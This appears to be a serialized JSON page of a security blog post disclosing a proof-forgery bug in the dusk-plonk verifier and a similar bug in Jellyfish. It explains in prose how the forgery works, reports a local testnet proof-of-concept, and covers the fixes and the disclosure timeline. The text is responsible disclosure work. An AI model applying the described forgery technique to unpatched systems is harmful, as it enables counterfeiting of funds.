(",{"type":23,"tag":31,"props":145670,"children":145672},{"href":145490,"rel":145671},[35],[145673],{"type":28,"value":145494},{"type":28,"value":20220},{"type":23,"tag":4894,"props":145676,"children":145677},{},[145678,145680,145767,145769,145861,145862,145869],{"type":28,"value":145679},"There is a fourth permutation commitment ",{"type":23,"tag":92,"props":145681,"children":145683},{"className":145682},[1183,1184],[145684],{"type":23,"tag":134,"props":145685,"children":145687},{"className":145686},[1189],[145688],{"type":23,"tag":134,"props":145689,"children":145691},{"className":145690,"ariaHidden":1195},[1194],[145692],{"type":23,"tag":134,"props":145693,"children":145695},{"className":145694},[1200],[145696,145700,145705,145762],{"type":23,"tag":134,"props":145697,"children":145699},{"className":145698,"style":1313},[1205],[],{"type":23,"tag":134,"props":145701,"children":145703},{"className":145702},[21195],[145704],{"type":28,"value":924},{"type":23,"tag":134,"props":145706,"children":145708},{"className":145707},[1211],[145709,145714],{"type":23,"tag":134,"props":145710,"children":145712},{"className":145711,"style":93045},[1211,21066],[145713],{"type":28,"value":144144},{"type":23,"tag":134,"props":145715,"children":145717},{"className":145716},[1228],[145718],{"type":23,"tag":134,"props":145719,"children":145721},{"className":145720},[1233,21120],[145722,145751],{"type":23,"tag":134,"props":145723,"children":145725},{"className":145724},[1238],[145726,145746],{"type":23,"tag":134,"props":145727,"children":145729},{"className":145728,"style":92611},[1243],[145730],{"type":23,"tag":134,"props":145731,"children":145732},{"style":93092},[145733,145737],{"type":23,"tag":134,"props":145734,"children":145736},{"className":145735,"style":1253},[1252],[],{"type":23,"tag":134,"props":145738,"children":145740},{"className":145739},[1258,1259,1260,1261],[145741],{"type":23,"tag":134,"props":145742,"children":145744},{"className":145743},[1211,1261],[145745],{"type":28,"value":17001},{"type":23,"tag":134,"props":145747,"children":145749},{"className":145748},[21223],[145750],{"type":28,"value":21226},{"type":23,"tag":134,"props":145752,"children":145754},{"className":145753},[1238],[145755],{"type":23,"tag":134,"props":145756,"children":145758},{"className":145757,"style":92642},[1243],[145759],{"type":23,"tag":134,"props":145760,"children":145761},{},[],{"type":23,"tag":134,"props":145763,"children":145765},{"className":145764},[21217],[145766],{"type":28,"value":14880},{"type":28,"value":145768}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":92,"props":145770,"children":145772},{"className":145771},[1183,1184],[145773],{"type":23,"tag":134,"props":145774,"children":145776},{"className":145775},[1189],[145777],{"type":23,"tag":134,"props":145778,"children":145780},{"className":145779,"ariaHidden":1195},[1194],[145781],{"type":23,"tag":134,"props":145782,"children":145784},{"className":145783},[1200],[145785,145789,145846,145851,145856],{"type":23,"tag":134,"props":145786,"children":145788},{"className":145787,"style":1313},[1205],[],{"type":23,"tag":134,"props":145790,"children":145792},{"className":145791},[1211],[145793,145798],{"type":23,"tag":134,"props":145794,"children":145796},{"className":145795,"style":93045},[1211,21066],[145797],{"type":28,"value":144144},{"type":23,"tag":134,"props":145799,"children":145801},{"className":145800},[1228],[145802],{"type":23,"tag":134,"props":145803,"children":145805},{"className":145804},[1233,21120],[145806,145835],{"type":23,"tag":134,"props":145807,"children":145809},{"className":145808},[1238],[145810,145830],{"type":23,"tag":134,"props":145811,"children":145813},{"className":145812,"style":92611},[1243],[145814],{"type":23,"tag":134,"props":145815,"children":145816},{"style":93092},[145817,145821],{"type":23,"tag":134,"props":145818,"children":145820},{"className":145819,"style":1253},[1252],[],{"type":23,"tag":134,"props":145822,"children":145824},{"className":145823},[1258,1259,1260,1261],[145825],{"type":23,"tag":134,"props":145826,"children":145828},{"className":145827},[1211,1261],[145829],{"type":28,"value":17001},{"type":23,"tag":134,"props":145831,"children":145833},{"className":145832},[21223],[145834],{"type":28,"value":21226},{"type":23,"tag":134,"props":145836,"children":145838},{"className":145837},[1238],[145839],{"type":23,"tag":134,"props":145840,"children":145842},{"className":145841,"style":92642},[1243],[145843],{"type":23,"tag":134,"props":145844,"children":145845},{},[],{"type":23,"tag":134,"props":145847,"children":145849},{"className":145848},[21195],[145850],{"type":28,"value":272},{"type":23,"tag":134,"props":145852,"children":145854},{"className":145853,"style":113116},[1211,21066],[145855],{"type":28,"value":113119},{"type":23,"tag":134,"props":145857,"children":145859},{"className":145858},[21217],[145860],{"type":28,"value":296},{"type":28,"value":232},{"type":23,"tag":31,"props":145863,"children":145866},{"href":145864,"rel":145865},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[35],[145867],{"type":28,"value":145868},"permutation verifier key",{"type":28,"value":20220},{"type":23,"tag":24,"props":145871,"children":145872},{},[145873,145875,145885],{"type":28,"value":145874},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":31,"props":145876,"children":145879},{"href":145877,"rel":145878},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[35],[145880],{"type":23,"tag":92,"props":145881,"children":145883},{"className":145882},[],[145884],{"type":28,"value":145326},{"type":28,"value":145886},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":145888,"children":145889},{},[145890],{"type":23,"tag":1116,"props":145891,"children":145894},{"alt":145892,"src":145893},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":18268,"props":145896,"children":145897},{},[],{"type":23,"tag":61,"props":145899,"children":145901},{"id":145900},"the-exploitation",[145902],{"type":28,"value":145903},"The exploitation",{"type":23,"tag":24,"props":145905,"children":145906},{},[145907],{"type":28,"value":145908},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":145910,"children":145911},{},[145912,145914,145920,145922,145927,145929,145934,145936,145942],{"type":28,"value":145913},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":92,"props":145915,"children":145917},{"className":145916},[],[145918],{"type":28,"value":145919},"z_challenge",{"type":28,"value":145921},", it computes what the linearization polynomial ",{"type":23,"tag":55,"props":145923,"children":145924},{},[145925],{"type":28,"value":145926},"should",{"type":28,"value":145928}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":92,"props":145930,"children":145932},{"className":145931},[],[145933],{"type":28,"value":145447},{"type":28,"value":145935},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":92,"props":145937,"children":145939},{"className":145938},[],[145940],{"type":28,"value":145941},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":20220},{"type":23,"tag":24,"props":145944,"children":145945},{},[145946],{"type":23,"tag":1116,"props":145947,"children":145950},{"alt":145948,"src":145949},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":145952,"children":145953},{},[145954,145956,145996,145998,146023,146025,146030],{"type":28,"value":145955},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":92,"props":145957,"children":145959},{"className":145958},[1183,1184],[145960],{"type":23,"tag":134,"props":145961,"children":145963},{"className":145962},[1189],[145964],{"type":23,"tag":134,"props":145965,"children":145967},{"className":145966,"ariaHidden":1195},[1194],[145968],{"type":23,"tag":134,"props":145969,"children":145971},{"className":145970},[1200],[145972,145976,145981,145986,145991],{"type":23,"tag":134,"props":145973,"children":145975},{"className":145974,"style":1313},[1205],[],{"type":23,"tag":134,"props":145977,"children":145979},{"className":145978,"style":92559},[1211,21066],[145980],{"type":28,"value":93378},{"type":23,"tag":134,"props":145982,"children":145984},{"className":145983},[21195],[145985],{"type":28,"value":272},{"type":23,"tag":134,"props":145987,"children":145989},{"className":145988},[1211,21066],[145990],{"type":28,"value":18752},{"type":23,"tag":134,"props":145992,"children":145994},{"className":145993},[21217],[145995],{"type":28,"value":296},{"type":28,"value":145997}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":92,"props":145999,"children":146001},{"className":146000},[1183,1184],[146002],{"type":23,"tag":134,"props":146003,"children":146005},{"className":146004},[1189],[146006],{"type":23,"tag":134,"props":146007,"children":146009},{"className":146008,"ariaHidden":1195},[1194],[146010],{"type":23,"tag":134,"props":146011,"children":146013},{"className":146012},[1200],[146014,146018],{"type":23,"tag":134,"props":146015,"children":146017},{"className":146016,"style":110400},[1205],[],{"type":23,"tag":134,"props":146019,"children":146021},{"className":146020,"style":113116},[1211,21066],[146022],{"type":28,"value":113119},{"type":28,"value":146024},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":92,"props":146026,"children":146028},{"className":146027},[],[146029],{"type":28,"value":145447},{"type":28,"value":146031}," gives the required value in a single field division.",{"type":23,"tag":18268,"props":146033,"children":146034},{},[],{"type":23,"tag":61,"props":146036,"children":146038},{"id":146037},"impact-on-dusk-network",[146039],{"type":28,"value":146040},"Impact on Dusk Network",{"type":23,"tag":24,"props":146042,"children":146043},{},[146044,146046,146053],{"type":28,"value":146045},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":31,"props":146047,"children":146050},{"href":146048,"rel":146049},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[35],[146051],{"type":28,"value":146052},"preverify path",{"type":28,"value":146054},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":4890,"props":146056,"children":146057},{},[146058,146063,146068],{"type":23,"tag":4894,"props":146059,"children":146060},{},[146061],{"type":28,"value":146062},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":4894,"props":146064,"children":146065},{},[146066],{"type":28,"value":146067},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":4894,"props":146069,"children":146070},{},[146071],{"type":28,"value":146072},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":146074,"children":146075},{},[146076],{"type":28,"value":146077},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":4890,"props":146079,"children":146080},{},[146081,146086,146096,146108,146113],{"type":23,"tag":4894,"props":146082,"children":146083},{},[146084],{"type":28,"value":146085},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":4894,"props":146087,"children":146088},{},[146089,146091],{"type":28,"value":146090},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":2532,"props":146092,"children":146093},{},[146094],{"type":28,"value":146095},"2000 DUSK from nothing",{"type":23,"tag":4894,"props":146097,"children":146098},{},[146099,146101,146106],{"type":28,"value":146100},"The malicious wallet transfers ",{"type":23,"tag":2532,"props":146102,"children":146103},{},[146104],{"type":28,"value":146105},"1337 DUSK",{"type":28,"value":146107}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":4894,"props":146109,"children":146110},{},[146111],{"type":28,"value":146112},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":4894,"props":146114,"children":146115},{},[146116],{"type":28,"value":146117},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":146119,"children":146120},{},[146121],{"type":23,"tag":1116,"props":146122,"children":146125},{"alt":146123,"src":146124},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":146127,"children":146128},{},[146129,146131,146137,146139,146146],{"type":28,"value":146130},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":31,"props":146132,"children":146134},{"href":141432,"rel":146133},[35],[146135],{"type":28,"value":146136},"~60M",{"type":28,"value":146138},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":31,"props":146140,"children":146143},{"href":146141,"rel":146142},"https://neptune.cash/articles/critical-vulnerability-disclosure",[35],[146144],{"type":28,"value":146145},"Triton VM vulnerability",{"type":28,"value":720},{"type":23,"tag":18268,"props":146148,"children":146149},{},[],{"type":23,"tag":61,"props":146151,"children":146153},{"id":146152},"the-fix",[146154],{"type":28,"value":146155},"The fix",{"type":23,"tag":24,"props":146157,"children":146158},{},[146159],{"type":28,"value":146160},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":16158,"props":146162,"children":146163},{},[146164,146209],{"type":23,"tag":4894,"props":146165,"children":146166},{},[146167,146169,146180,146182,146188,146189,146195,146196,146202,146203],{"type":28,"value":146168},"Extend ",{"type":23,"tag":31,"props":146170,"children":146173},{"href":146171,"rel":146172},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[35],[146174],{"type":23,"tag":92,"props":146175,"children":146177},{"className":146176},[],[146178],{"type":28,"value":146179},"compute_aggregate_witness",{"type":28,"value":146181}," on the prover side to also include ",{"type":23,"tag":92,"props":146183,"children":146185},{"className":146184},[],[146186],{"type":28,"value":146187},"q_arith",{"type":28,"value":242},{"type":23,"tag":92,"props":146190,"children":146192},{"className":146191},[],[146193],{"type":28,"value":146194},"q_c",{"type":28,"value":242},{"type":23,"tag":92,"props":146197,"children":146199},{"className":146198},[],[146200],{"type":28,"value":146201},"q_l",{"type":28,"value":5945},{"type":23,"tag":92,"props":146204,"children":146206},{"className":146205},[],[146207],{"type":28,"value":146208},"q_r",{"type":23,"tag":4894,"props":146210,"children":146211},{},[146212,146214,146224],{"type":28,"value":146213},"Add their evaluations to ",{"type":23,"tag":31,"props":146215,"children":146218},{"href":146216,"rel":146217},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[35],[146219],{"type":23,"tag":92,"props":146220,"children":146222},{"className":146221},[],[146223],{"type":28,"value":145326},{"type":28,"value":146225}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":146227,"children":146228},{},[146229,146231,146238],{"type":28,"value":146230},"This was done in ",{"type":23,"tag":31,"props":146232,"children":146235},{"href":146233,"rel":146234},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[35],[146236],{"type":28,"value":146237},"commit 645265b7",{"type":28,"value":146239},", which landed on February 14, 2026.",{"type":23,"tag":18268,"props":146241,"children":146242},{},[],{"type":23,"tag":61,"props":146244,"children":146246},{"id":146245},"why-was-this-missed",[146247],{"type":28,"value":146248},"Why was this missed?",{"type":23,"tag":24,"props":146250,"children":146251},{},[146252,146254,146261,146262,146269,146271,146278,146280,146287],{"type":28,"value":146253},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":31,"props":146255,"children":146258},{"href":146256,"rel":146257},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[35],[146259],{"type":28,"value":146260},"December 2023 audit of dusk-plonk",{"type":28,"value":123902},{"type":23,"tag":31,"props":146263,"children":146266},{"href":146264,"rel":146265},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[35],[146267],{"type":28,"value":146268},"September 2024 audit of Phoenix",{"type":28,"value":146270},", and a ",{"type":23,"tag":31,"props":146272,"children":146275},{"href":146273,"rel":146274},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[35],[146276],{"type":28,"value":146277},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":146279},". Dusk's public ",{"type":23,"tag":31,"props":146281,"children":146284},{"href":146282,"rel":146283},"https://dusk.network/news/audits-overview",[35],[146285],{"type":28,"value":146286},"audits overview",{"type":28,"value":146288}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":146290,"children":146291},{},[146292,146294,146299],{"type":28,"value":146293},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":55,"props":146295,"children":146296},{},[146297],{"type":28,"value":146298},"evaluations",{"type":28,"value":720},{"type":23,"tag":24,"props":146301,"children":146302},{},[146303],{"type":28,"value":146304},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":146306,"children":146307},{},[146308],{"type":28,"value":146309},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":61,"props":146311,"children":146313},{"id":146312},"a-similar-bug-in-espresso-systems-jellyfish",[146314],{"type":28,"value":146315},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":146317,"children":146318},{},[146319,146321,146328],{"type":28,"value":146320},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":31,"props":146322,"children":146325},{"href":146323,"rel":146324},"https://github.com/EspressoSystems/jellyfish/",[35],[146326],{"type":28,"value":146327},"jf-plonk",{"type":28,"value":146329}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":146331,"children":146332},{},[146333,146335,146342,146344,146355,146357,146382,146384,146409],{"type":28,"value":146334},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":31,"props":146336,"children":146339},{"href":146337,"rel":146338},"https://eprint.iacr.org/2020/315",[35],[146340],{"type":28,"value":146341},"Plookup",{"type":28,"value":146343}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":31,"props":146345,"children":146348},{"href":146346,"rel":146347},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[35],[146349],{"type":23,"tag":92,"props":146350,"children":146352},{"className":146351},[],[146353],{"type":28,"value":146354},"append_plookup_evaluations",{"type":28,"value":146356}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":92,"props":146358,"children":146360},{"className":146359},[1183,1184],[146361],{"type":23,"tag":134,"props":146362,"children":146364},{"className":146363},[1189],[146365],{"type":23,"tag":134,"props":146366,"children":146368},{"className":146367,"ariaHidden":1195},[1194],[146369],{"type":23,"tag":134,"props":146370,"children":146372},{"className":146371},[1200],[146373,146377],{"type":23,"tag":134,"props":146374,"children":146376},{"className":146375,"style":110400},[1205],[],{"type":23,"tag":134,"props":146378,"children":146380},{"className":146379,"style":93045},[1211,21066],[146381],{"type":28,"value":113463},{"type":28,"value":146383}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":92,"props":146385,"children":146387},{"className":146386},[1183,1184],[146388],{"type":23,"tag":134,"props":146389,"children":146391},{"className":146390},[1189],[146392],{"type":23,"tag":134,"props":146393,"children":146395},{"className":146394,"ariaHidden":1195},[1194],[146396],{"type":23,"tag":134,"props":146397,"children":146399},{"className":146398},[1200],[146400,146404],{"type":23,"tag":134,"props":146401,"children":146403},{"className":146402,"style":110400},[1205],[],{"type":23,"tag":134,"props":146405,"children":146407},{"className":146406,"style":93045},[1211,21066],[146408],{"type":28,"value":113463},{"type":28,"value":146410},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":146412,"children":146413},{},[146414,146416,146422,146424,146430],{"type":28,"value":146415},"The attack requires modifying a single evaluation (",{"type":23,"tag":92,"props":146417,"children":146419},{"className":146418},[],[146420],{"type":28,"value":146421},"key_table_next_eval",{"type":28,"value":146423},") by ",{"type":23,"tag":92,"props":146425,"children":146427},{"className":146426},[],[146428],{"type":28,"value":146429},"delta / (u * v^3)",{"type":28,"value":146431}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":146433,"children":146434},{},[146435,146437,146444,146446,146457],{"type":28,"value":146436},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":31,"props":146438,"children":146441},{"href":146439,"rel":146440},"https://github.com/EspressoSystems/jellyfish/pull/867",[35],[146442],{"type":28,"value":146443},"PR #867",{"type":28,"value":146445}," fixed the issue and was tagged as ",{"type":23,"tag":31,"props":146447,"children":146450},{"href":146448,"rel":146449},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[35],[146451],{"type":23,"tag":92,"props":146452,"children":146454},{"className":146453},[],[146455],{"type":28,"value":146456},"jf-plonk-v0.8.0",{"type":28,"value":146458}," on March 18, 2026.",{"type":23,"tag":18268,"props":146460,"children":146461},{},[],{"type":23,"tag":61,"props":146463,"children":146465},{"id":146464},"toward-standardization",[146466],{"type":28,"value":146467},"Toward standardization",{"type":23,"tag":24,"props":146469,"children":146470},{},[146471,146473,146480],{"type":28,"value":146472},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":31,"props":146474,"children":146477},{"href":146475,"rel":146476},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[35],[146478],{"type":28,"value":146479},"similar patterns appear across zkVMs",{"type":28,"value":146481},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":146483,"children":146484},{},[146485],{"type":28,"value":146486},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":146488,"children":146489},{},[146490],{"type":28,"value":146491},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":61,"props":146493,"children":146494},{"id":60331},[146495],{"type":28,"value":146496},"Disclosure timeline",{"type":23,"tag":55251,"props":146498,"children":146499},{},[146500,146516],{"type":23,"tag":122510,"props":146501,"children":146502},{},[146503],{"type":23,"tag":122514,"props":146504,"children":146505},{},[146506,146511],{"type":23,"tag":122518,"props":146507,"children":146508},{},[146509],{"type":28,"value":146510},"Date",{"type":23,"tag":122518,"props":146512,"children":146513},{},[146514],{"type":28,"value":146515},"Event",{"type":23,"tag":122538,"props":146517,"children":146518},{},[146519,146532,146545,146557,146583,146603],{"type":23,"tag":122514,"props":146520,"children":146521},{},[146522,146527],{"type":23,"tag":122545,"props":146523,"children":146524},{},[146525],{"type":28,"value":146526},"2026-02-13",{"type":23,"tag":122545,"props":146528,"children":146529},{},[146530],{"type":28,"value":146531},"Dusk vulnerability reported",{"type":23,"tag":122514,"props":146533,"children":146534},{},[146535,146540],{"type":23,"tag":122545,"props":146536,"children":146537},{},[146538],{"type":28,"value":146539},"2026-02-14",{"type":23,"tag":122545,"props":146541,"children":146542},{},[146543],{"type":28,"value":146544},"Dusk acknowledged",{"type":23,"tag":122514,"props":146546,"children":146547},{},[146548,146552],{"type":23,"tag":122545,"props":146549,"children":146550},{},[146551],{"type":28,"value":146539},{"type":23,"tag":122545,"props":146553,"children":146554},{},[146555],{"type":28,"value":146556},"Dusk fix committed",{"type":23,"tag":122514,"props":146558,"children":146559},{},[146560,146565],{"type":23,"tag":122545,"props":146561,"children":146562},{},[146563],{"type":28,"value":146564},"2026-02-27",{"type":23,"tag":122545,"props":146566,"children":146567},{},[146568,146570,146581],{"type":28,"value":146569},"Public ",{"type":23,"tag":31,"props":146571,"children":146574},{"href":146572,"rel":146573},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[35],[146575],{"type":23,"tag":92,"props":146576,"children":146578},{"className":146577},[],[146579],{"type":28,"value":146580},"dusk-rusk-1.6.0",{"type":28,"value":146582}," release published",{"type":23,"tag":122514,"props":146584,"children":146585},{},[146586,146591],{"type":23,"tag":122545,"props":146587,"children":146588},{},[146589],{"type":28,"value":146590},"2026-03-16",{"type":23,"tag":122545,"props":146592,"children":146593},{},[146594,146596,146602],{"type":28,"value":146595},"Jellyfish fix PR opened (",{"type":23,"tag":31,"props":146597,"children":146599},{"href":146439,"rel":146598},[35],[146600],{"type":28,"value":146601},"#867",{"type":28,"value":296},{"type":23,"tag":122514,"props":146604,"children":146605},{},[146606,146611],{"type":23,"tag":122545,"props":146607,"children":146608},{},[146609],{"type":28,"value":146610},"2026-03-18",{"type":23,"tag":122545,"props":146612,"children":146613},{},[146614,146616,146621,146623],{"type":28,"value":146615},"Jellyfish fix merged in ",{"type":23,"tag":31,"props":146617,"children":146619},{"href":146439,"rel":146618},[35],[146620],{"type":28,"value":146601},{"type":28,"value":146622}," and tagged as ",{"type":23,"tag":31,"props":146624,"children":146626},{"href":146448,"rel":146625},[35],[146627],{"type":23,"tag":92,"props":146628,"children":146630},{"className":146629},[],[146631],{"type":28,"value":146456},{"type":23,"tag":61,"props":146633,"children":146635},{"id":146634},"acknowledgements",[146636],{"type":28,"value":146637},"Acknowledgements",{"type":23,"tag":24,"props":146639,"children":146640},{},[146641],{"type":28,"value":146642},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":147,"depth":147,"links":146644},[146645,146652,146653,146654,146655,146656,146657,146658,146659,146660,146661,146662],{"id":141462,"depth":147,"text":141465,"children":146646},[146647,146648,146649,146650,146651],{"id":141487,"depth":185,"text":141490},{"id":142290,"depth":185,"text":142293},{"id":143488,"depth":185,"text":143491},{"id":143518,"depth":185,"text":143521},{"id":143799,"depth":185,"text":143802},{"id":144532,"depth":147,"text":144535},{"id":144670,"depth":147,"text":144673},{"id":89813,"depth":147,"text":145301},{"id":145900,"depth":147,"text":145903},{"id":146037,"depth":147,"text":146040},{"id":146152,"depth":147,"text":146155},{"id":146245,"depth":147,"text":146248},{"id":146312,"depth":147,"text":146315},{"id":146464,"depth":147,"text":146467},{"id":60331,"depth":147,"text":146496},{"id":146634,"depth":147,"text":146637},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":146667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146668,"description":146669,"date":146670,"author":123169,"image":146671,"isFeatured":15,"onBlogPage":15,"tags":146673,"body":146676,"_type":2586,"_id":156056,"_source":2588,"_file":156057,"_stem":156058,"_extension":2591},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":146672,"width":96780,"height":13091},"/posts/minecraft-heap-overflow-to-rce/title.png",[146674,146675],"minecraft","rce",{"type":20,"children":146677,"toc":156033},[146678,146683,146688,146693,146699,146704,146723,146728,146734,146739,146744,146750,146755,146760,146765,146771,146776,146781,146787,146807,146819,146826,146848,146862,146869,146875,146885,146905,146910,146916,146929,147274,147279,147287,147293,147312,147620,147648,147691,147703,147711,147716,148185,148204,148225,148567,148591,148863,148887,148914,149123,149142,149150,149169,149175,149237,149240,149262,149266,149271,149276,149282,149287,149301,149307,149321,149327,149340,149345,149353,149358,149364,149385,149393,149406,149409,149414,149428,149433,149438,149444,149449,149472,149477,149483,149488,149500,149512,149626,149646,149651,149656,149662,149667,149687,150302,150315,151389,151394,151402,151407,151413,151418,151426,151439,151444,151449,151456,151469,151474,151481,151536,151556,151563,151582,151589,151592,151597,151602,151608,151620,151633,151641,151712,151723,151757,151765,151770,151775,151781,151793,151812,151824,151829,151837,151856,151864,151883,151891,151917,151925,151930,151938,151943,151951,151954,151959,151964,151970,151983,152001,152039,152069,152077,152082,152088,152093,152098,152104,152116,152285,152297,152305,152310,152317,152322,152383,152430,152442,152447,152473,152547,152585,152590,152598,152619,152624,152650,152684,152737,152784,152790,152809,152841,152849,152952,153023,153029,153055,153062,153067,153074,153079,153320,153346,153351,153399,153404,153410,153442,153454,153486,153494,153533,153541,153546,153554,153559,153567,153579,153587,153599,153607,153619,153639,153645,153665,153682,153690,153702,153710,153729,153734,153742,153747,153755,153781,153792,153799,153804,153812,153817,153825,153830,153838,153843,153851,153856,153864,153869,153877,153918,153925,153930,153938,153943,153951,153956,153964,153969,153974,153982,153987,153995,154021,154029,154055,154063,154068,154076,154081,154089,154097,154102,154110,154115,154123,154126,154137,154171,154189,154197,154217,154223,154242,154300,154320,154328,154331,154370,154430,154435,154441,154454,154462,154514,154553,154561,154594,154597,154617,154625,154631,154636,154644,154684,154725,154745,154750,154755,154773,154779,154784,154803,154864,154872,154898,154904,154924,154929,154934,154941,155006,155011,155018,155039,155044,155056,155062,155095,155102,155107,155135,155142,155198,155210,155217,155278,155297,155303,155337,155358,155385,155393,155446,155516,155522,155542,155585,155590,155988,155994,155999,156010,156014,156019,156024,156029],{"type":23,"tag":34870,"props":146679,"children":146681},{"id":146680},"pwning-minecr